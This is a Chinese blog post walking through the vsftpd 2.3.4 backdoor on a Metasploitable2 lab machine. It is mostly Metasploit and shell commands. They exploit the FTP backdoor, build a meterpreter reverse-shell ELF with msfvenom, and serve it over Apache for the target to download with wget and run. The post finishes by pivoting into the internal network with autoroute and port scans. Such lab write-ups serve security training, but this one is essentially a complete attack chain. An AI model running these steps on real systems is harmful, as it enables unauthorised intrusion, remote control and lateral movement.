Metasploitable2靶机之第六篇--Vsftpd源码包后门漏洞

星球守护者发布时间：2021-04-02 22:01:30 ，浏览量：6

文章目录

环境描述原理影响版本漏洞复现第一部分漏洞利用第一步，启动metasploit

msfconsole

在这里插入图片描述

第二步选择漏洞库

search vsftp
use exploit/unix/ftp/vsftpd_234_backdoor

在这里插入图片描述

第三步设置参数，开始攻击

show options
Set RHOST 192.168.232.202 设置要攻击的机器IP
run

在这里插入图片描述

第四步利用成功，执行命令

验证 python -c ‘import pty;pty.spawn("/bin/sh")’
whaomi
id
ls

在这里插入图片描述

第二部分反弹shell远程连接第一步生成反弹shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.232.128 LPORT=4444 -f elf > backdoor.elf

在这里插入图片描述

第二步启动本地Apache服务，并将backdoor.elf放置到服务器中

service apache2 start
mv backdoor.elf /var/www/html/

在这里插入图片描述

第三步在目标主机上下载shell

wget http://192.168.232.198/backdoor.elf

在这里插入图片描述

第四步在msf终端上执行

msfconsoleuse exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 47.94.0.221
set LPORT 4444
exploit

在这里插入图片描述

第五步在目标机上运行木马文件

chmod 7777 backdoor.elf./backdoor.elf

在这里插入图片描述

第六步查看反弹的Meterpreter终端

在这里插入图片描述

第三部分内网信息收集第一步查看ARP内容

在这里插入图片描述

第二步设置跳板，使用autoroute命令来设置跳板

run autoroute -prun autoroute -s 192.168.232.0 255.255.255.0
run autoroute -p

在这里插入图片描述

第三步将Meterpreter会话切换到后台

background
sessions

在这里插入图片描述

第四步内网主机端口扫描

use auxiliary/scanner/portscan/tcpshow options
set RHOSTS 192.168.232.129
run

在这里插入图片描述

第五步验证192.168.232.129的80端口开放

use auxiliary/scanner/http/http_versionshow options
set RHOSTS 192.168.109.159
run

在这里插入图片描述

摘抄活着，就是为了在一片沙漠中，

寻找海市蜃楼般的快乐，

然后让荒芜的土地上，开满希望之花。

– 三毛

关注

打赏

1662051426

查看更多评论

最近更新